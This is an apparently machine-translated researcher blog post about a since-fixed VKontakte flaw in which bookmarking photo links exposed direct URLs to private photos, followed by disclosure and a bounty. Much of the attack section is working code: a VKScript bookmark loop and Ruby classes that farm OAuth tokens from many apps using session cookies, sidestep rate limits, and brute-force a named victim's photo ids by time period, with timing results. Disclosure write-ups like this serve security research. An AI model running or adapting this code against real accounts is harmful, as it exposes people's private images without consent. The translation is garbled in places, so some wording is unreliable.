The VKontakte vulnerability allowed direct links to private photos



tl; dr
A vulnerability was discovered in the VK bookmarks, which allowed to receive direct links to private photos from private messages, albums of any user / group. A script was written that sorted through the user's photos for a certain period and then, through this vulnerability, received direct links to images. In short, then: it was possible in 1 minute to get all your photos yesterday, in 7 minutes - all the photos uploaded last week, in 20 minutes - the last month, in 2 hours - the last year. The vulnerability is currently fixed. The administration of VKontakte paid a fee of 10k votes.

The story began when an image was thrown into my personal profile in Vkontakte. Usually, if the thing is important, I upload it to the cloud, but in my case this was not necessary, and I decided to use the Vkontakte bookmark function.

Briefly about this functionality: all things that the user liked are added to bookmarks; there is also a function of manually adding a user link and an internal VK link. The last paragraph seemed very interesting to me, because after adding a link to the photo I saw its preview and text with the type of entity added:



When adding a link, the server parses it, tries to find out which entity it refers to and retrieves information about this object from the database. As a rule, when writing this kind of function with many conditions, the probability that the developer will forget something is very high. Therefore, I could not afford to pass by and decided to spend a few minutes to experiment a little.

As a result, I managed to find something. When adding a link to a photo, note or video that cannot be accessed, you could get some private information about the object. In the case of photos and videos, this is a small (150x150) preview, on which it is quite difficult to see anything, the name of the private notes was displayed. Via the fave.getLinks API Methodit was possible to get links to an image, but again too small in size (75px and 130px). So, in fact, nothing serious.

I decided to go to the mobile version of the site to check whether everything is displayed there in the same way as in the regular version. Having looked at the code of the page, I saw this:



Yes! A direct link to the original image was stored in the value of the data-src_big attribute !

Thus, it was possible to get a direct link to any image on Vkontakte, regardless of where it was uploaded or what privacy settings it had. It could be an image from private messages or a photo from private albums of any user / group.

It would seem that it was possible to stop at this and write to the developers, but I wondered if it was possible by exploiting this vulnerability to get access to all (well, or downloaded in a certain period of time) user photos. The main problem here, as you know, was that the link to a private photo of the form photoXXXXXX_XXXXXXX is not always knownto bookmark. It occurred to me to search for id pictures, but for some reason I immediately rejected it as crazy. I checked the methods associated with photographs in the API, looked at how the application works with albums, but I could not find any leaks that could help me get a list with the IDs of all the user's private photos. I already wanted to quit this venture, but once again looking at the link with the photo, I suddenly realized that busting was a good idea.

How photos work in VK


As you could replace, the link to the photo photo52708106_359542386 consists of two parts: (user id) _ (some strange number) . How is the second part formed?

Alas, after spending two hours experimenting, I still did not understand this. In 2012, at HighLoad ++, Oleg Illarionov said a few words about how they store photos, about horizontal sharding and randomly choosing a server to load, but this information did not give me anything, since there is no connection between the server id and the id of the photo. It’s clear that there is a certain global counter, but there is still some logic there ... Because if the second number would be formed using the usual auto-increment, then the ID values ​​of the photos would have already reached enormous values ​​(for example, at the moment this is ~ 700 trillion), but at Vkontakte this value is only ~ 400 million (although, judging by the statistics, it’s dailyusers upload more than 30 million photos). Those. it is clear that this figure is not unique, but not random. I wrote a script that walked around photos of “old” users and based on the data I got, I made a graph of how much this figure changed every year :



It can be seen that the values ​​jump depending on some factors (number of servers or new logic?). But the bottom line is that they are small enough (especially over the last 2-3 years) and it is very easy to calculate the id range for the desired time period. That is, to find direct links to user pictures, for example, last year, you need to try to bookmark only 30 million (from _320000000 to _350000000) of different variations of the links! Below I described a brute force technique that allowed me to do this in a matter of minutes.

We sort through the photos


You could add all this with your hands through the interface or write a script that adds one link to bookmarks, but it would be boring and long. In this case, the search speed would be 3 bookmarks per second, because You cannot send more than three requests per second to the Vkontakte server .

Speeding up the search x25


To get around the limitation of 3 requests at least a bit, I decided to use the execute method . In one call to this method, 25 calls to API methods are possible.

var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
  API.fave.addLink({ "link": link + start });
  start = start + 1;
};

Thus, it was possible to increase the speed of brute force up to 3 * 25 bookmarks / sec. Over the past year, the photos would have been sorted out for a long time, but for short periods this method of sorting was already pretty good.

Speeding up the search x25 * the number of concurrent requests per second


The limit on the number of requests / sec applies to each application separately, and not to the entire user. So nothing prevents sending a lot of requests in parallel, but at the same time using tokens from different applications in them.

First you had to find (or create) the right number of applications. A script was written that looks for standalone applications in a given interval of application identifiers:

class StandaloneAppsFinder
  attr_reader :app_ids
  def initialize(params)
    @range = params[:in_range]
    @app_ids = []
  end
  def search
    (@range).each do |app_id|
      response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
      app = JSON.parse(response)['response']
      app_ids << app_id if standalone?(app)
    end
  end
  private
  def standalone?(app_data)
    app_data['type'] == 'standalone'
  end
end

You could still select applications by the number of users in order to further accelerate further search:
If the application has installed less than 10,000 people, then you can make 5 requests per second, up to 100,000 - 8 requests, up to 1,000,000 - 20 requests, more than 1 million - 35 requests per second.
[Limitations and recommendations]

But I decided not to bother with this.

Ok, applications are found, now they need to give permission to our user data and get tokens. For authorization I had to use the Implicit Flow mechanism. I had to parse the authorization url from the OAuth dialog and pull out the token after the redirect. This class requires cookies p, l (login.vk.com) and remixsid (vk.com):

class Authenticator
  attr_reader :access_tokens
  def initialize(cookie_header)
    @cookies = { 'Cookie' => cookie_header }
    @access_tokens = []
  end
  def authorize_apps(apps)
    apps.each do |app_id|
      auth_url = extract_auth_url_from(oauth_page(app_id))
      redirect_url = open(auth_url, @cookies).base_uri.to_s
      access_tokens << extract_token_from(redirect_url)
    end
  end
  private
  def extract_auth_url_from(oauth_page_html)
    Nokogiri::HTML(oauth_page_html).css('form').attr('action').value
  end
  def extract_token_from(url)
    URI(url).fragment[13..97]
  end
  def oauth_page(app_id)
    open(oauth_page_url(app_id), @cookies).read
  end
  def oauth_page_url(app_id)
    "https://oauth.vk.com/authorize?" +
    "client_id=#{app_id}&" +
    "response_type=token&" +
    "display=mobile&" +
    "scope=474367"
  end
end

How many applications are found, so many parallel queries. To parallelize the whole thing, it was decided to use the Typhoeus gem , which has proven itself in other tasks. The result is such a small brute force:

class PhotosBruteforcer
  PHOTOS_ID_BY_PERIOD = {
    'today' => 366300000..366500000,
    'yesterday' => 366050000..366300000,
    'current_month' => 365000000..366500000,
    'last_month' => 360000000..365000000,
    'current_year' => 350000000..366500000,
    'last_year' => 320000000..350000000
  }
  def initialize(params)
    @victim_id = params[:victim_id]
    @period = PHOTOS_ID_BY_PERIOD[params[:period]]
  end
  def run(tokens)
    hydra = Typhoeus::Hydra.new
    tokensIterator = 0
    (@period).step(25) do |photo_id|
      url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}"
      encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n")
      tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1
      hydra.queue Typhoeus::Request.new encoded_url
      hydra.run if tokensIterator.zero?
    end
    hydra.run unless hydra.queued_requests.count.zero?
  end
  private
  def vkscript(photo_id)
    <<-VKScript
    var start = #{photo_id};
    var end = #{photo_id + 25};
    var link = "http://vk.com/photo#{@victim_id}" + "_";
    while(start != end) {
      API.fave.addLink({ "link": link + start });
      start = start + 1;
    };
    return start;
    VKScript
  end
end

To speed up brute force even more, there was an attempt to get rid of an unnecessary body in the response, but the Vkontakte server returns an error 501 Not implemented on a HEAD request . The final version of the script looks like this:



require 'nokogiri'
require 'open-uri'
require 'typhoeus'
require 'json'
require './standalone_apps_finder'
require './photos_bruteforcer'
require './authenticator'
bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1])
apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search
# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new(
  'p=;' +
  'l=;' +
  'remixsid=;'
)
authenticator.authorize_apps(apps_finder.app_ids)
bruteforcer.run(authenticator.access_tokens)

After working out the program in the bookmarks were all the user's photos for a given period. It only remained to go to the mobile version of Vkontakte, open the browser console, pull out direct links and enjoy the photos in their original size.



Summary


In general, it all depends on your Internet connection and the speed of proxy servers , Vkontakte latency servers, processor power and many other factors. Having tested the script above on my account, I got these numbers (excluding the time spent on getting tokens):

PeriodTime (minutes)
Yesterday0.84
Last week6.9
Last month18.3
Last year121.1
Last 3 years312.5

The table shows the average time required to try the id photos for a certain period. I am sure that all this could be accelerated once in 10-20 times. For example, in a brute force script, make one large queue of all requests and normal synchronization between them, because in my implementation, a single request with timeout will slow down the whole process. Anyway, you could just buy a couple of instances on EC2, and get all the photos of any user in an hour. But I already wanted to sleep.

Anyway, it doesn’t matter how much time an attacker spends on it, 5 hours or a whole day, because one way or another he will get links to private images. The ability to gain access to private information over a finite amount of time is the main threat posed by this vulnerability.

Report Vulnerability


At first, the report was sent to the support service, but after an answer like “thank you, I’ll probably fix it somehow ...” and a week of waiting, I was sad. Many thanks to Bo0oM , who helped contact the developers directly. After that bugs closed for a few hours and a few days on my account administration transferred a fee of $ 10k votes .



I have never been engaged in a focused research on VK, but after such an almost accidental discovery of this vulnerability, I seriously began to think about spending several hours on a full audit of this social network. VKontakte does not have an official bug of the bounty program, therefore whitehat scammers bypass this site, while other, less "white" hackers just quietly use errors for their own purposes or sell them. So, I think, a couple more of these vulnerabilities in VK can be found.

Good to all!

Also popular now: